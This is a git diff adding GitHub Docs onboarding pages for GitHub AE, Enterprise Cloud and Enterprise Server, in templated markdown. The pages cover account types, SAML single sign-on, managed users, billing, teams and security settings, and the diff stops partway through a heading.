+Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+
+However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% endif %}
+
+You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+
+{% data reusables.organizations.organization-plans %}
+
+For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+
+## Enterprise accounts
+
+{% ifversion fpt %}
+{% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+{% elsif ghec %}
+Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+{% elsif ghes or ghae %}
+Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.location.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+{% endif %}
+
+## Further reading
+
+{% ifversion fpt or ghec %}
+- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %}
+- "[Creating a new organization account](/articles/creating-a-new-organization-account)"
+- [Organizing people for successful collaboration](https://vimeo.com/333786093) video in {% data variables.product.company_short %} Resources
diff --git a/translations/de-DE/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-ae.md
new file mode 100644
index 0000000000..0717b20b76
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-ae.md
@@ -0,0 +1,83 @@
+---
+title: Getting started with GitHub AE
+intro: 'Get started with setting up and configuring {% data variables.product.product_name %} for {% data variables.location.product_location %}.'
+versions:
+  ghae: '*'
+---
+
+This guide will walk you through setting up, configuring, and managing settings for {% data variables.location.product_location %} on {% data variables.product.product_name %} as an enterprise owner. For more information about {% data variables.product.product_name %}, see "[About {% data variables.product.prodname_ghe_managed %}](/admin/overview/about-github-ae)."
+
+## Part 1: Setting up {% data variables.product.product_name %}
+To get started with {% data variables.product.product_name %}, you can create your enterprise account, initialize {% data variables.product.product_name %}, configure an IP allow list, configure user authentication and provisioning, and manage billing for {% data variables.location.product_location %}.
+
+### 1. Creating your {% data variables.product.product_name %} enterprise account
+You will first need to purchase {% data variables.product.product_name %}. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+
+{% data reusables.github-ae.initialize-enterprise %}
+
+### 2. Initializing {% data variables.product.product_name %}
+After {% data variables.product.company_short %} creates the owner account for {% data variables.location.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.location.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.location.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+
+### 3. Restricting network traffic
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+
+### 4. Managing identity and access for {% data variables.location.product_location %}
+You can centrally manage access to {% data variables.location.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+
+### 5. Managing billing for {% data variables.location.product_location %}
+Owners of the subscription for {% data variables.location.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
+
+## Part 2: Organizing and managing enterprise members
+As an enterprise owner for {% data variables.product.product_name %}, you can manage settings on user, repository, team, and organization levels. You can manage members of {% data variables.location.product_location %}, create and manage organizations, set policies for repository management, and create and manage teams.
+
+### 1. Managing members of {% data variables.location.product_location %}
+{% data reusables.getting-started.managing-enterprise-members %}
+
+### 2. Creating organizations
+{% data reusables.getting-started.creating-organizations %}
+
+### 3. Adding members to organizations
+{% data reusables.getting-started.adding-members-to-organizations %}
+
+### 4. Creating teams
+{% data reusables.getting-started.creating-teams %}
+
+### 5. Setting organization and repository permission levels
+{% data reusables.getting-started.setting-org-and-repo-permissions %}
+
+### 6. Enforcing repository management policies
+{% data reusables.getting-started.enforcing-repo-management-policies %}
+
+## Part 3: Building securely
+To increase the security of {% data variables.location.product_location %}, you can monitor {% data variables.location.product_location %} and configure security and analysis features for your organizations.
+
+### 1. Monitoring {% data variables.location.product_location %}
+You can monitor {% data variables.location.product_location %} with your activity dashboard and audit logging. For more information, see "[Monitoring activity in your enterprise](/admin/monitoring-activity-in-your-enterprise)."
+
+### 2. Configuring security features for your organizations
+{% data reusables.getting-started.configuring-security-features %}
+
+## Part 4: Customizing and automating work on {% data variables.location.product_location %}
+You can customize and automate work in organizations in {% data variables.location.product_location %} with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_pages %}.
+
+### 1. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+{% data reusables.getting-started.api %}
+
+### 2. Building {% data variables.product.prodname_actions %}
+{% data reusables.getting-started.actions %}
+
+For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae)."
+
+### 3. Using {% data variables.product.prodname_pages %}
+{% data reusables.getting-started.github-pages-enterprise %}
+## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
+Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support.
+
+### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
+You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_managed %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+### 2. Learning with {% data variables.product.prodname_learning %}
+{% data reusables.getting-started.learning-enterprise %}
+
+### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+{% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
new file mode 100644
index 0000000000..ad6be77621
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
@@ -0,0 +1,220 @@
+---
+title: Getting started with GitHub Enterprise Cloud
+intro: 'Get started with setting up and managing your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account.'
+versions:
+  fpt: '*'
+  ghec: '*'
+---
+
+This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_ghe_cloud %} account as an organization or enterprise owner.
+
+{% data reusables.enterprise.ghec-cta-button %}
+
+## Part 1: Choosing your account type
+
+{% data variables.product.prodname_dotcom %} provides two types of Enterprise products:
+
+- **{% data variables.product.prodname_ghe_cloud %}**
+- **{% data variables.product.prodname_ghe_server %}**
+
+The main difference between the products is that {% data variables.product.prodname_ghe_cloud %} is hosted by {% data variables.product.prodname_dotcom %}, while {% data variables.product.prodname_ghe_server %} is self-hosted.
+
+{% data reusables.enterprise.about-github-for-enterprises %}
+
+With {% data variables.product.prodname_ghe_cloud %}, you have the option of using {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
+
+If you choose to let your members create and manage their own personal accounts instead, there are two types of accounts you can use with {% data variables.product.prodname_ghe_cloud %}:
+
+- A single organization account
+- An enterprise account that contains multiple organizations
+
+### 1. Understanding the differences between an organization account and enterprise account
+
+Both organization and enterprise accounts are available with {% data variables.product.prodname_ghe_cloud %}. An organization is a shared account where groups of people can collaborate across many projects at once, and owners and administrators can manage access to data and projects. An enterprise account enables collaboration between multiple organizations, and allows owners to centrally manage policy, billing and security for these organizations. For more information on the differences, see "[Organizations and enterprise accounts](/organizations/collaborating-with-groups-in-organizations/about-organizations#organizations-and-enterprise-accounts)."
+
+If you choose an enterprise account, keep in mind that some policies can be set only at an organization level, while others can be enforced for all organizations in an enterprise.
+
+Once you choose the account type you would like, you can proceed to setting up your account. In each of the sections in this guide, proceed to either the single organization or enterprise account section based on your account type.
+
+## Part 2: Setting up your account
+To get started with {% data variables.product.prodname_ghe_cloud %}, you will want to create your organization or enterprise account and set up and view billing settings, subscriptions and usage.
+### Setting up a single organization account with {% data variables.product.prodname_ghe_cloud %}
+
+#### 1. About organizations
+Organizations are shared accounts where groups of people can collaborate across many projects at once. With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+#### 2. Creating or upgrading an organization account
+
+To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+
+Alternatively, if you have an existing organization account that you would like to upgrade, follow the steps in "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)."
+#### 3. Setting up and managing billing
+
+When you choose to use an organization account with {% data variables.product.prodname_ghe_cloud %}, you'll first have access to a [30-day trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud). If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_user %} and lose access to any advanced tooling and features that are only included with paid products. For more information, see "[Finishing your trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial)."
+
+Your organization's billing settings page allows you to manage settings like your payment method and billing cycle, view information about your subscription, and upgrade your storage and {% data variables.product.prodname_actions %} minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
+
+Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is a user who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+
+### Setting up an enterprise account with {% data variables.product.prodname_ghe_cloud %}
+
+#### 1. About enterprise accounts
+
+An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+
+#### 2. Creating an enterpise account
+
+ {% data variables.product.prodname_ghe_cloud %} customers paying by invoice can create an enterprise account directly through {% data variables.product.prodname_dotcom %}. For more information, see "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)." 
+ 
+ {% data variables.product.prodname_ghe_cloud %} customers not currently paying by invoice can contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact) to create an enterprise account for you.
+
+#### 3. Adding organizations to your enterprise account
+
+You can create new organizations to manage within your enterprise account. For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+
+Contact your {% data variables.product.prodname_dotcom %} sales account representative if you want to transfer an existing organization to your enterprise account.
+#### 4. Viewing the subscription and usage for your enterprise account
+You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see  "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+
+## Part 3: Managing your organization or enterprise members and teams with {% data variables.product.prodname_ghe_cloud %}
+
+### Managing members and teams in your organization
+You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization. 
+#### 1. Managing members of your organization
+{% data reusables.getting-started.managing-org-members %}
+#### 2. Organization permissions and roles
+{% data reusables.getting-started.org-permissions-and-roles %}
+#### 3. About and creating teams
+{% data reusables.getting-started.about-and-creating-teams %}
+#### 4. Managing team settings
+{% data reusables.getting-started.managing-team-settings %}
+#### 5. Giving people and teams access to repositories, project boards and apps
+{% data reusables.getting-started.giving-access-to-repositories-projects-apps %}
+
+### Managing members of an enterprise account
+Managing members of an enterprise is separate from managing members or teams in an organization. It is important to note that enterprise owners or administrators cannot access organization-level settings or manage members for organizations in their enterprise unless they are made an organization owner. For more information, see the above section, "[Managing members and teams in your organization](#managing-members-and-teams-in-your-organization)."
+
+If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+
+If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below.
+
+#### 1. Assigning roles in an enterprise
+By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see "[Roles in an enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+#### 2. Inviting people to manage your enterprise
+You can invite people to manage your enterprise as enterprise owners or billing managers, as well as remove those who no longer need access. For more information, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
+
+You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
+#### 3. Viewing people in your enterprise
+To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+
+## Part 4: Managing security with {% data variables.product.prodname_ghe_cloud %}
+
+* [Managing security for a single organization](#managing-security-for-a-single-organization)
+* [Managing security for an {% data variables.enterprise.prodname_emu_enterprise %}](#managing-security-for-an-enterprise-with-managed-users)
+* [Managing security for an enterprise account without {% data variables.enterprise.prodname_managed_users %}](#managing-security-for-an-enterprise-account-without-managed-users)
+
+### Managing security for a single organization
+You can help keep your organization secure by requiring two-factor authentication, configuring security features, reviewing your organization's audit log and integrations, and enabling SAML single sign-on and team synchronization.
+#### 1. Requiring two-factor authentication
+{% data reusables.getting-started.requiring-2fa %}
+#### 2. Configuring security features for your organization
+{% data reusables.getting-started.configuring-security-features %}
+
+#### 3. Reviewing your organization's audit log and integrations
+{% data reusables.getting-started.reviewing-org-audit-log-and-integrations %}
+
+#### 4. Enabling and enforcing SAML single sign-on for your organization
+If you manage your applications and the identities of your organization members with an identity provider (IdP), you can configure SAML single-sign-on (SSO) to control and secure access to organization resources like repositories, issues and pull requests. When members of your organization access organization resources that use SAML SSO, {% data variables.product.prodname_dotcom %} will redirect them to your IdP to authenticate. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+
+Organization owners can choose to disable, enable but not enforce, or enable and enforce SAML SSO. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" and "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+#### 5. Managing team synchronization for your organization
+Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+
+### Managing security for an {% data variables.enterprise.prodname_emu_enterprise %}
+
+With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP. 
+
+#### 1. Enabling and SAML single sign-on and provisioning in your {% data variables.enterprise.prodname_emu_enterprise %}
+
+In an {% data variables.enterprise.prodname_emu_enterprise %}, all members are provisioned and managed by your identity provider. You must enable SAML SSO and SCIM provisioning before you can start using your enterprise. For more information on configuring SAML SSO and provisioning for an {% data variables.enterprise.prodname_emu_enterprise %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+
+#### 2. Managing teams in your {% data variables.enterprise.prodname_emu_enterprise %} with your identity provider
+
+You can connect teams in your organizations to security groups in your identity provider, managing membership of your teams and access to repositories through your IdP. For more information, see "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
+
+#### 3. Managing allowed IP addresses for organizations in your {% data variables.enterprise.prodname_emu_enterprise %}
+
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.enterprise.prodname_emu_enterprise %}. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+
+#### 4. Enforcing policies for Advanced Security features in your {% data variables.enterprise.prodname_emu_enterprise %}
+{% data reusables.getting-started.enterprise-advanced-security %}
+
+### Managing security for an enterprise account without {% data variables.enterprise.prodname_managed_users %}
+To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features. 
+
+#### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account
+Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 
+
+For more information on enforcing two-factor authentication and allowed IP address lists, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+#### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account
+You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see "[About identity and access management for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+
+#### 3. Managing team synchronization
+You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+
+#### 4. Enforcing policies for Advanced Security features in your enterprise account
+{% data reusables.getting-started.enterprise-advanced-security %}
+
+## Part 5: Managing organization and enterprise level policies and settings
+
+### Managing settings for a single organization
+To manage and moderate your organization, you can set organization policies, manage permissions for repository changes, and use organization-level community health files.
+#### 1. Managing organization policies
+{% data reusables.getting-started.managing-org-policies %}
+#### 2. Managing repository changes
+{% data reusables.getting-started.managing-repo-changes %}
+#### 3. Using organization-level community health files and moderation tools
+{% data reusables.getting-started.using-org-community-files-and-moderation-tools %}
+
+### Managing settings for an enterprise account
+To manage and moderate your enterprise, you can set policies for organizations within the enterprise, view audit logs, configure webhooks, and restrict email notifications.
+#### 1. Managing policies for organizations in your enterprise account
+
+You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, project board, and team policies. For more information, see "[Setting policies for your enterprise](/enterprise-cloud@latest/admin/policies)."
+#### 2. Viewing audit logs, configuring webhooks, and restricting email notifications for your enterprise
+You can view actions from all of the organizations owned by your enterprise account in the enterprise audit log. You can also configure webhooks to receive events from organizations owned by your enterprise account. For more information, see "[Reviewing audit logs for your enterprise](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)" and "[Monitoring your enterprise](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise)."
+
+You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. For more information, see "[Restricting email notifications for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+
+## Part 6: Customizing and automating your organization or enterprise's work on {% data variables.product.prodname_dotcom %}
+Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work.
+
+### 1. Using {% data variables.product.prodname_marketplace %}
+{% data reusables.getting-started.marketplace %}
+### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+{% data reusables.getting-started.api %}
+### 3. Building {% data variables.product.prodname_actions %}
+{% data reusables.getting-started.actions %}
+### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+{% data reusables.getting-started.packages %}
+### 5. Using {% data variables.product.prodname_pages %}
+{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see  "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" and "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community
+
+Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. 
+
+### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %}
+You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+{% data reusables.enterprise.best-practices %}
+
+### 2. Learning with {% data variables.product.prodname_learning %}
+Members of your organization or enterprise can learn new skills by completing fun, realistic projects in your very own GitHub repository with [{% data variables.product.prodname_learning %}](https://skills.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by a friendly bot.
+
+For more information, see "[Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)."
+### 3. Supporting the open source community
+{% data reusables.getting-started.sponsors %}
+
+### 4. Contacting {% data variables.contact.github_support %}
+{% data reusables.getting-started.contact-support %}
+
+{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)."
diff --git a/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
new file mode 100644
index 0000000000..f3368b385c
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
@@ -0,0 +1,128 @@
+---
+title: Getting started with GitHub Enterprise Server
+intro: 'Get started with setting up and managing {% data variables.location.product_location %}.'
+versions:
+  ghes: '*'
+---
+
+This guide will walk you through setting up, configuring and managing {% data variables.location.product_location %} as an enterprise administrator.
+
+{% data variables.product.company_short %} provides two ways to deploy {% data variables.product.prodname_enterprise %}.
+
+- **{% data variables.product.prodname_ghe_cloud %}**
+- **{% data variables.product.prodname_ghe_server %}**
+
+{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider.
+
+For more information about {% data variables.product.product_name %}, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)."
+
+## Part 1: Installing {% data variables.product.product_name %}
+To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. 
+### 1. Creating your enterprise account
+Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+### 2. Installing {% data variables.product.product_name %}
+To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+
+### 3. Using the Management Console
+You will use the Management Console to walk through the initial setup process when first launching {% data variables.location.product_location %}. You can also use the  Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
+
+### 4. Configuring {% data variables.location.product_location %}
+In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.location.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
+
+You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
+
+### 5. Configuring high availability
+You can configure {% data variables.location.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)."
+
+### 6. Setting up a staging instance
+You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.location.product_location %}.  For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+
+### 7. Designating backups and disaster recovery
+To protect your production data, you can configure automated backups of {% data variables.location.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+
+### 8. Managing billing for your enterprise
+Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
+
+## Part 2: Organizing and managing your team
+As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams.
+
+### 1. Managing members of {% data variables.location.product_location %}
+{% data reusables.getting-started.managing-enterprise-members %}
+
+### 2. Creating organizations
+{% data reusables.getting-started.creating-organizations %}
+
+### 3. Adding members to organizations
+{% data reusables.getting-started.adding-members-to-organizations %}
+
+### 4. Creating teams
+{% data reusables.getting-started.creating-teams %}
+
+### 5. Setting organization and repository permission levels
+{% data reusables.getting-started.setting-org-and-repo-permissions %}
+
+### 6. Enforcing repository management policies
